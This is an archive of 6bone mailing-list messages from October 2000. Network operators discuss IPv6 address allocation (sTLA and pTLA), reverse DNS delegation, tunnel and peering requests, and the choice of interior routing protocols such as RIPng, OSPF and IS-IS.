> suggested assigning the /29 from the start.
>
>         2001:           16 bits (fixed prefix, unicast addressing)
>         top level:      13 bits (allows for 8,000+ top level ISPs)
>         intermediate:   6+13 bits
>         site level:     16 bits (on the assumption of /48 per site)

Thank you for your good information.

> What do you mean by "several IPv6 businesses" ?

One ISP(like Korea Telecom) can operate a research IPv6 network
(KOREN in Korea), a business IPv6 network and a mobile IPv6 network
(ex: IMT-2000).
In that case, the IPv6 addressing planner hopes to have 3 sTLA.

Telco should be changed to ISPs.
ISPs (from Telco) like to keep the E.164 format(telephone number
architecture) and they try to insert E.164 in IPv6 address architecture.
Should ISPs follow RFC 2373?

Then I have a guestion.
What are good points of IS-IS (rather than OSPF)?

Thank you.


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Sun Oct 22 22:10:20 2000
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Message was returned.
So I try again, sorry to make trouble.

Tim Chown wrote:

> The /35 allocation is an initial allocation to the provider; the
"real"
> allocation is a /29, which you can grow into.  A number of people have

> suggested assigning the /29 from the start.
>
>         2001:           16 bits (fixed prefix, unicast addressing)
>         top level:      13 bits (allows for 8,000+ top level ISPs)
>         intermediate:   6+13 bits
>         site level:     16 bits (on the assumption of /48 per site)

Thank you for your good information.

> What do you mean by "several IPv6 businesses" ?

One ISP(like Korea Telecom) can operate a research IPv6 network
(KOREN in Korea), a business IPv6 network and a mobile IPv6 network
(ex: IMT-2000).
In that case, the IPv6 addressing planner hopes to have 3 sTLAs.

Telco should be changed to ISP (paradigm shift).
ISPs (from Telcos) like to keep the E.164 format(telephone number
architecture) and they try to insert E.164 in IPv6 address architecture.

Should ISPs follow RFC 2373?

Then I have a guestion.
What are good points of IS-IS (rather than OSPF)?

Thank you.


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Oct 23 00:27:48 2000
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From: Andrius Kasparavicius <andrius@andrius.org>
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To: Christopher Schulte <christopher@schulte.org>
Cc: Andrius Kasparavicius <andrius@andrius.org>, users@ipv6.org,
        6bone <6bone@ISI.EDU>, IPv6 Forum <members@ipv6forum.com>
Subject: Re: The initial allocation IPv6 prefixes
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On Sun, 22 Oct 2000, Christopher Schulte wrote:

> site has several useful documents on this subject: 
> http://www.iana.org/ipaddress/ip-addresses.htm

yeah, somethink I mean..

http://www.isi.edu/in-notes/iana/assignments/ipv6-address-space.txt
compare with:
RFC1884

So, "Reserved for Geographic-Based Unicast Addresses" is not reserved
anymore?
                                              -------------------------
                                                Kasparavicius Andrius





From 6bone-owner  Mon Oct 23 01:21:21 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: ksbn@kt.co.kr
cc: Tim Chown <tjc@ecs.soton.ac.uk>, 6bone <6bone@ISI.EDU>,
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Subject: Re: TLA or sTLA 
In-reply-to: Your message of Mon, 23 Oct 2000 12:15:58 +0900.
             <39F3AD6E.27F4B2D1@kt.co.kr> 
Date: Mon, 23 Oct 2000 10:20:17 +0200
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 In your previous mail you wrote:

   Then I have a guestion.
   What are good points of IS-IS (rather than OSPF)?
   
=> there was a thread about this in the cisco-nsp mailing-list (I kept
some key messages if you can't find this).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Mon Oct 23 03:57:46 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: <6bone@ISI.EDU>
Subject: Question about reverse DNS
Date: Mon, 23 Oct 2000 13:57:34 +0300
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Hello there,

I am trying to configure the DNS services, what are the steps in order to
configure the reverse DNS?? The zone files are ready, but to who should I
address for the delegation of my "reverse" domain??

Thank you in advance for the responses,

Vicky Kontogianni
Network Technologies Sector
Computer Technology Institute
Patras - GREECE

Tel. +30 61  960377
e-mail: kontogia@cti.gr


From 6bone-owner  Mon Oct 23 05:04:36 2000
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To: christopher@schulte.org, andrius@andrius.org
Subject: Re: The initial allocation IPv6 prefixes
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Hi, 
RFC1884 is obsoleted by RFC2373 , excerpt from rfc-index.txt :
1884 IP Version 6 Addressing Architecture. R. Hinden, S. Deering,
     Editors. December 1995. (Format: TXT=37860 bytes) (Obsoleted by
     RFC2373) (Status: HISTORIC)
RFC1884 is in status HISTORIC..
excerpt for rfc2373 in rfc-index.txt is :
2373 IP Version 6 Addressing Architecture. R. Hinden, S. Deering. July
     1998. (Format: TXT=52526 bytes) (Obsoletes RFC1884) (Status: PROPOSED
     STANDARD)
in RFC2373 geographic  based unicast-address is not more defined (Pg. 6) .
                                 Best Regards, Gianluca Capitani
> From: Andrius Kasparavicius <andrius@andrius.org>
> X-Sender: and@lolo.logina.lt
> To: Christopher Schulte <christopher@schulte.org>
> Cc: Andrius Kasparavicius <andrius@andrius.org>, users@ipv6.org,
>         6bone <6bone@ISI.EDU>, IPv6 Forum <members@ipv6forum.com>
> Subject: Re: The initial allocation IPv6 prefixes
> MIME-Version: 1.0
> 
> On Sun, 22 Oct 2000, Christopher Schulte wrote:
> 
> > site has several useful documents on this subject: 
> > http://www.iana.org/ipaddress/ip-addresses.htm
> 
> yeah, somethink I mean..
> 
> http://www.isi.edu/in-notes/iana/assignments/ipv6-address-space.txt
> compare with:
> RFC1884
> 
> So, "Reserved for Geographic-Based Unicast Addresses" is not reserved
> anymore?
>                                               -------------------------
>                                                 Kasparavicius Andrius
> 
> 
> 
> 
> 

From 6bone-owner  Mon Oct 23 09:25:28 2000
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To: "Kontogianni Vicky" <kontogia@cti.gr>, <6bone@ISI.EDU>
From: "6bone@schulte.org" <6bone@schulte.org>
Subject: Re: Question about reverse DNS
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At 01:57 PM 10/23/2000 +0300, Kontogianni Vicky wrote:
>I am trying to configure the DNS services, what are the steps in order to
>configure the reverse DNS?? The zone files are ready, but to who should I
>address for the delegation of my "reverse" domain??

 From http://www.isi.edu/~sekiya/IPv6/DNS.html#Reversezone:

"Each organization operating a top level aggregator receives a sub-domain 
corresponding to their TLA. In turn, they will delegate further subdomains 
to transit providers. The process goes recursively until a prefix is 
assigned to an end site or network."

So, talk to your upstream.... my tunnel provider (sprint) delegated my 
reverse of 3ffe:2900:e00a::/48 by default....  The corresponding zone in my 
NS would be a.0.0.e.0.0.9.2.e.f.f.3.ip6.int.

You can also just 'dig' the ip6.int domain yourself and follow the 
delegation tree, if all else fails and you can't get a straight answer from 
anyone.

Have fun.

--
Christopher Schulte | christopher@schulte.org
http://www.schulteconsulting.com/ - Consulting
http://noc.schulte.org/ - IPv4 209.134.156.192/28
http://www.ipv6.schulte.org/ - IPv6 3ffe:2900:e00a::/48


From 6bone-owner  Mon Oct 23 13:59:12 2000
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Date: 	Mon, 23 Oct 2000 22:58:54 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: 6bone@ISI.EDU
Subject: 2001:... nets - formal side
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Is there any mailing list for 2001:... nets administrators? After getting new
2001.../35 from RIPE we should write regulations concerning assingnment of the
subnets. I hope some admins could share their regulations with us. I can host a
list for discussing such topics if there is a need.

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

From 6bone-owner  Tue Oct 24 18:34:09 2000
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Date: Tue, 24 Oct 2000 18:34:15 -0700
To: Rafal Maszkowski <rzm@icm.edu.pl>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: 2001:... nets - formal side
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Rafal,

At 10:58 PM 10/23/2000 +0200, Rafal Maszkowski wrote:
>Is there any mailing list for 2001:... nets administrators? After getting new
>2001.../35 from RIPE we should write regulations concerning assingnment of the
>subnets. I hope some admins could share their regulations with us. I can 
>host a
>list for discussing such topics if there is a need.

No there is isn't. At this time all three registries (ARIN, RIPE-NCC, 
APNIC) keep the data in slightly different ways. It would take three 
different scripts to parse and create a mail list of sub-TLA holders.

Anyone out there willing to try?

I think it would be a good idea to try to keep the production IPv6 sub-TLA 
holders together in a mailing list.


Bob


From 6bone-owner  Wed Oct 25 18:02:49 2000
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To: Cesar Olvera <cesar@redes.unam.mx>, 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: New UNAM's production IPv6 prefix, 2001:0448::/35
Cc: ipv6@redes.unam.mx
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At 05:54 PM 10/25/2000 -0600, Cesar Olvera wrote:
>IPv6 community,
>
>The production IPv6 prefix, 2001:0448::/35, has been assigned by ARIN
>to National University of Mexico (UNAM).
>
>This is a milestone for IPv6 deployment in Mexico an Latin America.

Congratulations to you and Mexico!


Bob



From 6bone-owner  Thu Oct 26 12:44:22 2000
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Date: Thu, 26 Oct 2000 21:44:31 +0200
From: Barry Rutten <barry@linuxnl.za.net>
Organization: HELLWare Inc.
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Are there any ircd with ipv6 enabled witch I can download or are there
any patches I can apply?



From 6bone-owner  Thu Oct 26 16:26:29 2000
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IRCNet's ircd is fully ipv6 enabled
download  ftp://ftp.irc.org/irc/server/irc2.10.3p1.tgz

JV

On Thu, 26 Oct 2000, Barry Rutten wrote:

> Are there any ircd with ipv6 enabled witch I can download or are there
> any patches I can apply?
> 
> 
> 
> 


From 6bone-owner  Thu Oct 26 16:36:13 2000
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From: "Bradley W. McNamara" <BMcNamara@zama.net>
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To: Barry Rutten <barry@linuxnl.za.net>
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Barry,

The latest ircd is IPv6 enabled/aware.  The latest version is 2.10.3p1,
and can be downloaded from http://www.irc.org, or from
http://www.zama6.net/pub/ipv6/src/.  Hope this helps.

Brad McNamara
ZAMA Networks, Inc.

Barry Rutten wrote:

> Are there any ircd with ipv6 enabled witch I can download or are there
> any patches I can apply?


From 6bone-owner  Thu Oct 26 19:53:05 2000
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Date: Thu, 26 Oct 2000 20:53:18 -0600
From: "Dwayne C . Litzenberger" <dlitz@dlitz.net>
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Subject: Request for tunnel: sprint
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--ibTvN161/egqYuK8
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I'm looking for a good low-latency tunnelpoint.  Any takers?

Do a traceroute/ping to 24.72.34.190 .  Lower than 70ms ping would be
wonderful.

--=20
Dwayne C. Litzenberger - dlitz@dlitz.net

- Please always Cc to me when replying to me on the lists.
- See the mail headers for GPG/advertising/homepage information.

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From 6bone-owner  Thu Oct 26 19:58:48 2000
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To: 6bone@ISI.EDU, "'ot@cisco.com'" <ot@cisco.com>,
        "'ipv6-support@cisco.com'" <ipv6-support@cisco.com>
Cc: ksbn@kt.co.kr, "'andrius@andrius.org'" <andrius@andrius.org>,
        "'davidt@xfiles.nildram.co.uk'" <davidt@xfiles.nildram.co.uk>,
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	 <pgrosset@cisco.com>,
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Subject: IPv6 tunnel 
Date: Fri, 27 Oct 2000 10:49:43 +0800
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	My location is Hong Kong,I have a windows2000 PC at home , with a
cisco router.  It connects to a ISP providing an real IPv4 by Leased Line.
So I want to use this windows 2000 PC with an IPV6 address to connect to
6bone. 


	1. Should I get my first 6bone IPv6 address from > an end-site of an
existing pTLA 6bone ISP, because I need an IPv4 to > IPv6 gateway
connection. 
      2. If the answer is "yes" for the Q1.  Where can I find an existing
PTLA 6Bone ISP in my location or others  


      3.There is one organization I found from 6 bone. But I have no access
to connect the contact person even by Email.
   If I want to do the same something as this company. What are the steps?


Last updated Thu Oct 26 04:09:06 BST 2000

ipv6-site	DEVA	
origin	AS4058 LINKAGENET	
descr	Deva.net	
descr	Tsuen Wan, Hong Kong	
country	HK - HONG KONG /ipv6/6Bone/Whois/bycountry.html - HK
</ipv6/6Bone/Whois/bycountry.html> /ipv6/6Bone/Whois/bycountry.html - HK
</ipv6/6Bone/Whois/bycountry.html> 	
prefix	3FFE:C00:8008::/48 
Aggregatable Global Unicast Address
TLA-ID: 0x1ffe, Sub-TLA: 0x180 6Bone
6BONE </ipv6/6Bone/networks/6BONE.html> :CISCO
</ipv6/6Bone/networks/CISCO.html> :DEVA </ipv6/6Bone/networks/DEVA.html> :

application	ping 6bone-router.deva.net
</cgi-bin/ping?ADDRESS=6bone-router.deva.net> 	
application	ping ipv6.deva.net </cgi-bin/ping?ADDRESS=ipv6.deva.net>

application	ftp ftp://ipv6.deva.net <ftp://ipv6.deva.net> 	
tunnels	type	source	Dest	dest site	dest prefix	protocol
comment	
								
	IPv6 in IPv4	203.85.103.1
6bone-router.deva.net	192.31.7.104
eng-ios-dirtylab-gw.cisco.com	CISCO </ipv6/6Bone/Whois/CISCO.html> 
/ipv6/6Bone/Whois/bycountry.html - US </ipv6/6Bone/Whois/bycountry.html>
/ipv6/6Bone/Whois/bycountry.html - US </ipv6/6Bone/Whois/bycountry.html>
3FFE:C00::/24	STATIC		
	IPv6 in IPv4	203.85.103.1
6bone-router.deva.net	203.72.242.20	NCU-TW
</ipv6/6Bone/Whois/NCU-TW.html> 
/ipv6/6Bone/Whois/bycountry.html - TW </ipv6/6Bone/Whois/bycountry.html>
/ipv6/6Bone/Whois/bycountry.html - TW </ipv6/6Bone/Whois/bycountry.html>
3FFE:3600:5::/48	STATIC		
contact	AKH18 </ipv6/6Bone/Whois/AKH18.html> 	
Operational since December 2, 1997.
Willing to add new tunnels upon request.		
mnt-by	DEVA-NOC </cgi-bin/whois?ADDRESS=DEVA-NOC> 	
changed	avatar@deva.net <mailto:avatar@deva.net>  19th September 1998	



From 6bone-owner  Thu Oct 26 20:09:35 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: 6bone@ISI.EDU, "'David Taylor'" <davidt@xfiles.nildram.co.uk>
Subject: RE: 6bone peer request
Date: Fri, 27 Oct 2000 11:00:24 +0800
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Hi 
	I have some questions
1.	I have a static IPv4 address with a router. before I form a tunnel
for an endpoint, Should I give an IPv6 address first. 
2.	I only an end-user, who can provide me an IPv6 address.
  

	----------
	From:  David Taylor [SMTP:davidt@xfiles.nildram.co.uk]
	Sent:  Sunday, October 22, 2000 3:33 AM
	To:  6bone@ISI.EDU
	Subject:  Re: 6bone peer request

	On Sat, 21 Oct 2000, David Taylor wrote:
	> 
	> Anyone who is close (hop wise) to UUNET would be nice, although
anywhere in
	> England would probably be fine, as I'm only on a dialup..
	> 

	Oops.  I was referring to UUNET UK, whom I've already asked.  They
won't
	give me a tunnel because I'm only a dialup (which I can understand).
I'm
	looking for a endpoint somewhere in the UK...

	I'd prefer to avoid routing all my 6bone traffic transatlantically,
if at
	all possible.  However, if I can't find anyone, I suppose it isn't
possible
	:)

	-- 
	David Taylor
	davidt@yadt.co.uk

From 6bone-owner  Thu Oct 26 23:20:31 2000
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Date: Fri, 27 Oct 2000 02:20:00 -0400
To: Bob Fink <fink@es.net>, Rafal Maszkowski <rzm@icm.edu.pl>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: 2001:... nets - formal side
In-Reply-To: <5.0.0.25.0.20001024183132.02ef3fe0@imap2.es.net>
References: <20001023225854.Q8578@burza.icm.edu.pl>
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At/À 18:34 2000-10-24 -0700, Bob Fink you wrote/vous écriviez:
>Rafal,
>
>At 10:58 PM 10/23/2000 +0200, Rafal Maszkowski wrote:
>>Is there any mailing list for 2001:... nets administrators? After getting new
>>2001.../35 from RIPE we should write regulations concerning assingnment 
>>of the
>>subnets. I hope some admins could share their regulations with us. I can 
>>host a
>>list for discussing such topics if there is a need.
>
>No there is isn't. At this time all three registries (ARIN, RIPE-NCC, 
>APNIC) keep the data in slightly different ways. It would take three 
>different scripts to parse and create a mail list of sub-TLA holders.

very good idea.


>Anyone out there willing to try?

consider it done. will be announced soon.

Marc.



>I think it would be a good idea to try to keep the production IPv6 sub-TLA 
>holders together in a mailing list.
>
>
>Bob


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Fri Oct 27 01:03:49 2000
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Date: Fri, 27 Oct 2000 10:03:48 +0200 (CEST)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: 6bone@ISI.EDU
Subject: internal routing-protocols for IPv6
Message-ID: <Pine.LNX.4.21.0010270952390.716-100000@frigg.belbone.net>
Organization: Belgacom Multimedia - Internet backbone
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Greetings,


Just a general question; for the moment, static routing works just
fine, but what would be the best INTERNAL routing-protocol for a
IPv6-network?
(Looking into the possibility to have cisco-router or unix-boxes acting as
routers).

- RIP-for-IPv6 (is this 'RIPv6' ???)?
Is it just as limited at RIP on IPv4?

- OSPF.
OK, I've seen RFCs on this, but are there already implementations off 
this?

- EIGRP?
Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
unix-boxes, I guess.

- ISIS?
We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
added? Are there implementations of this?

- internal BGP?
Supported by the unix-routers?



Cheerio! Kr. Bonne.
--
KB905-RIPE (HOME)                               belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122




From 6bone-owner  Fri Oct 27 01:25:58 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'avatar@deva.net'" <avatar@deva.net>
Cc: 6bone@ISI.EDU
Subject: Add tunneling request 
Date: Fri, 27 Oct 2000 16:16:47 +0800
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I'm looking for a good  tunnelpoint.  Anyone help?
My location is Hong Kong 

Keith Tang 


From 6bone-owner  Fri Oct 27 04:03:22 2000
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Date: Fri, 27 Oct 2000 12:02:20 +0100 (BST)
From: David Gethings <davidg@uk.uu.net>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6
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On Fri, 27 Oct 2000, Kristoff Bonne wrote:

> Greetings,
> 
> 
> Just a general question; for the moment, static routing works just
> fine, but what would be the best INTERNAL routing-protocol for a
> IPv6-network?
> (Looking into the possibility to have cisco-router or unix-boxes acting as
> routers).
> 
> - RIP-for-IPv6 (is this 'RIPv6' ???)?
> Is it just as limited at RIP on IPv4?
> 
> - OSPF.
> OK, I've seen RFCs on this, but are there already implementations off 
> this?
> 
> - EIGRP?
> Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
> unix-boxes, I guess.
> 
> - ISIS?
> We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
> added? Are there implementations of this?
> 
> - internal BGP?
> Supported by the unix-routers?
> 
> 
> 
> Cheerio! Kr. Bonne.
Hi Kristoff,

Cisco have a statement of direction regarding IPv6. You can find it, and
other useful things, at http://www.cisco.com/ipv6/

This should answer all you Cisco related questions.

Regards

-- 
David Gethings			UUNET, a Worldcom Company,
Network Activation Engineer	Internet House, 332 Science Park,
Email: davidg@uk.uu.net		Cambridge, CB4 0BZ, United Kingdom.
Phone: +44 (0)1223 581515	http://www.uk.uu.net/



From 6bone-owner  Fri Oct 27 07:50:16 2000
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Subject: Re: 2001:... nets - formal side
To: Marc.Blanchet@viagenie.qc.ca (Marc Blanchet)
Date: Fri, 27 Oct 2000 07:49:42 -0700 (PDT)
Cc: fink@es.net (Bob Fink), rzm@icm.edu.pl (Rafal Maszkowski), 6bone@ISI.EDU
In-Reply-To: <4.3.2.7.2.20001027021919.01f02f08@mail.viagenie.qc.ca> from "Marc Blanchet" at Oct 27, 2000 02:20:00 AM
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% >No there is isn't. At this time all three registries (ARIN, RIPE-NCC, 
% >APNIC) keep the data in slightly different ways. It would take three 
% >different scripts to parse and create a mail list of sub-TLA holders.
% 
% very good idea.

	Well yes and no.

% >Anyone out there willing to try?
% 
% consider it done. will be announced soon.

	What about the registrations under those sub-TLAs?  

	If you are going to give this a go, you might look at the
	IETFs old RIDE wg material.

-- 
--bill

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From: Richard Draves <richdr@microsoft.com>
To: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
Cc: 6bone@ISI.EDU
Subject: RE: 6bone peer request
Date: Fri, 27 Oct 2000 07:56:17 -0700
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> 	I have some questions
> 1.	I have a static IPv4 address with a router. before I 
> form a tunnel
> for an endpoint, Should I give an IPv6 address first. 
> 2.	I only an end-user, who can provide me an IPv6 address.

You could use 6to4.

From 6bone-owner  Fri Oct 27 16:56:49 2000
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Date: Fri, 27 Oct 2000 16:55:36 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:80E0::/28 assigned to NEXTRA
Cc: Jan Oravec <wsx@svsbb.sk>, Bill Manning <bmanning@ISI.EDU>
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The 2-week pTLA review period for NEXTRA/SVSBB has passed with no negative 
comments, so I have assigned them pTLA 3FFE:80E0::/28.

<http://whois.6bone.net/cgi-bin/whois?nextra>

It will be a short while until they setup their inet6num object and 
ipv6-site object for NEXTRA as they have been operating as SVSBB. Please 
help them as appropriate for peering and reverse DNS entry.


Thanks,

Bob


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Date: Fri, 27 Oct 2000 17:26:45 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: ZAMA 6bone pTLA request
Cc: "Kerry Hu" <khu@zama.net>
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ZAMA networks has requested a 6bone pTLA. Please send comments to me or the 
list by 17 November (I am out of town the previous week so wouldn't process 
it before then anyway).


Thanks,

Bob

>From: "Kerry Hu" <khu@zama.net>
>To: <fink@es.net>
>Subject: application for pTLA
>Date: Fri, 27 Oct 2000 12:13:12 +1000
>
>Hi Bob,
>Here is the application for a pTLA of Zama Networks. Please review!
>Thanks,
>
>Kerry.
>
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>A: Zama have joined 6bone since Aug 5th, 2000
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>A: records are fully maintained and updated.
>ipv6-site:    ZAMA
>origin:       AS9940
>descr:        Zama Networks
>               Seattle
>prefix:       3FFE:C00:801B::/48
>tunnel:       IPv6 in IPv4 ipv6.zama.net -> ipv6-router.cisco.com CISCO
>BGP4+
>contact:      KH2-6BONE
>notify:       ipv6@zama6.net
>changed:      khu@zama.net 20000805
>source:       6BONE
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>A: Zama is connected to 6bone via Cisco running BGP4+.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>A: We have two name servers running Bind 9 with full forward and reverse
>records.
>    Name servers are: corvette.zama6.net and catera.zama6.net
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>A: www.zama6.net is the web server and can be accessed by both v4 and v6.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>A: Zama is committed to build an IPv6 backbone network with statement
>mentioned in www.zama.net web pages.
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>A: Kerry Hu: kh2-6bone, Brian Skeen: BS2-6BONE, Grant Furness: GF2-6BONE
>Brad Mcnamara: BWM1-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>A: an email box ipv6@zama6.net up and running.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>A: www.zama.net pages state that we are committed to provide IPv6 backbone
>services.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>A: we agree the rules and policies.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.



From 6bone-owner  Fri Oct 27 17:53:50 2000
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Date: Fri, 27 Oct 2000 19:52:45 -0500 (CDT)
From: "Matthew S. Hallacy" <poptix@POPTIX.NET>
To: 6bone@ISI.EDU
Subject: Wireless ISP, Mobility (Peer request)
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Howdy,

	I manage the network for a large ISP in Minnesota who is in the
wireless internet business (2.4 and 5.2/8 ghz), we're interested in the
mobility features of ipv6 and I'd like to peer with someone 'nearby', 
I've already sent out a few peering requests, but they have gone
unanswered, thus my reason for spamming the list. I've currently got a 
few spare Cisco routers ready to go, and have been doing my own testing
with freenet6. I would appreciate anyone who allowed me to peer with them.

FYI, I tried the two nearest points I could find, es.net and merit.edu 


				Matthew S. Hallacy
				XtraTyme Technologies
				Systems/Network Administrator

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From 6bone-owner  Sat Oct 28 00:17:05 2000
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From: "brougham Baker" <bromisc@tqsolutions.demon.co.uk>
To: <6bone@ISI.EDU>
Subject: freenet6.net gone?
Date: Sat, 28 Oct 2000 08:16:59 +0100
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First post for me here,

Guys,

I'm on a dial-up only. The only way I've found to get on the 6bone so far
is/was by freenet6.

Are they offering this service anymore?
Are there any alternatives?

--
Bro
"There's no way to rule innocent men. The only power any government
has is the power to crack down on criminals. Well, when there aren't
enough criminals, one makes them. One declares so many things to be a
crime that it becomes impossible to live without breaking laws."
-- Ayn Rand, "Atlas Shrugged"



From 6bone-owner  Sat Oct 28 03:56:08 2000
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From: Barry Rutten <barry@linuxnl.za.net>
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To: brougham Baker <bromisc@tqsolutions.demon.co.uk>
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brougham Baker wrote:

> First post for me here,
>
> Guys,
>
> I'm on a dial-up only. The only way I've found to get on the 6bone so far
> is/was by freenet6.
>
> Are they offering this service anymore?
> Are there any alternatives?
>
> --
> Bro
> "There's no way to rule innocent men. The only power any government
> has is the power to crack down on criminals. Well, when there aren't
> enough criminals, one makes them. One declares so many things to be a
> crime that it becomes impossible to live without breaking laws."
> -- Ayn Rand, "Atlas Shrugged"

I too am looking for alternatives, 1 or 2 days ago freenet was down aswell
but yesterday they where back so i guess they are just having some routing
problems or something



--------------7F607D31B934E1DF1F9DED7D--


From 6bone-owner  Sat Oct 28 07:30:13 2000
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Date: Sat, 28 Oct 2000 10:27:36 -0400
To: 6BONE List <6bone@ISI.EDU>
From: Florent Parent <Florent.Parent@viagenie.qc.ca>
Subject: re: freenet6.net gone?
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Our Internet connectivity is now back up (Saturday, 10:00 EST). There was 
some major work on our optical fiber link in the past twelve hours.

It is not easy to warn the Freenet6 users of such outages. Sorry for the 
inconvenience.

Florent.

At 12:56 2000-10-28 +0200, Barry Rutten wrote:

>brougham Baker wrote:
>
> > First post for me here,
> >
> > Guys,
> >
> > I'm on a dial-up only. The only way I've found to get on the 6bone so far
> > is/was by freenet6.
> >
> > Are they offering this service anymore?
> > Are there any alternatives?
> >
> > --
> > Bro
> > "There's no way to rule innocent men. The only power any government
> > has is the power to crack down on criminals. Well, when there aren't
> > enough criminals, one makes them. One declares so many things to be a
> > crime that it becomes impossible to live without breaking laws."
> > -- Ayn Rand, "Atlas Shrugged"
>
>I too am looking for alternatives, 1 or 2 days ago freenet was down aswell
>but yesterday they where back so i guess they are just having some routing
>problems or something


From 6bone-owner  Sat Oct 28 08:18:36 2000
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: internal routing-protocols for IPv6 
In-reply-to: Your message of Fri, 27 Oct 2000 10:03:48 +0200.
             <Pine.LNX.4.21.0010270952390.716-100000@frigg.belbone.net> 
Date: Sat, 28 Oct 2000 17:18:29 +0200
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 In your previous mail you wrote:

   Just a general question; for the moment, static routing works just
   fine, but what would be the best INTERNAL routing-protocol for a
   IPv6-network?
   (Looking into the possibility to have cisco-router or unix-boxes acting as
   routers).
   
   - RIP-for-IPv6 (is this 'RIPv6' ???)?
   Is it just as limited at RIP on IPv4?
   
=> RIPng is RIPv2 with IPv6 support. Cheap but very limited...

   - OSPF.
   OK, I've seen RFCs on this, but are there already implementations off 
   this?
   
=> at least one easy to find (Zebra).

   - EIGRP?
   Does EIGRP exist for IPv6? As this is 'cisco-stuff', not supported on
   unix-boxes, I guess.
   
=> it is a patented protocol too. And as far as I know there is no support
for IPv6 even it should be easy to add.

   - ISIS?
   We used to do both OSI CLNS and IPv4 routing in this; so ... could IPv6 be
   added? Are there implementations of this?
   
=> there are some plans about IPv6 support in the new IS-IS but not yet
available.

   - internal BGP?

=> *not* an IGP!

   Supported by the unix-routers?
   
=> yes, BGP4+ for IPv6 is supported by many softwares (nearly as much
supported as RIPng).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Sat Oct 28 09:45:11 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
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Subject: Re: internal routing-protocols for IPv6 
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Salutation/greetings, (also to everybody else who replied too)


>> Just a general question; for the moment, static routing works just
>> fine, but what would be the best INTERNAL routing-protocol for a
>> IPv6-network?
>> (Looking into the possibility to have cisco-router or unix-boxes acting
>> as routers).
  
>    - RIP-for-IPv6 (is this 'RIPv6' ???)?
>    Is it just as limited at RIP on IPv4?
> => RIPng is RIPv2 with IPv6 support. Cheap but very limited...

True, but I guess this is a first step.
At least, it's better than static routing. ;-)

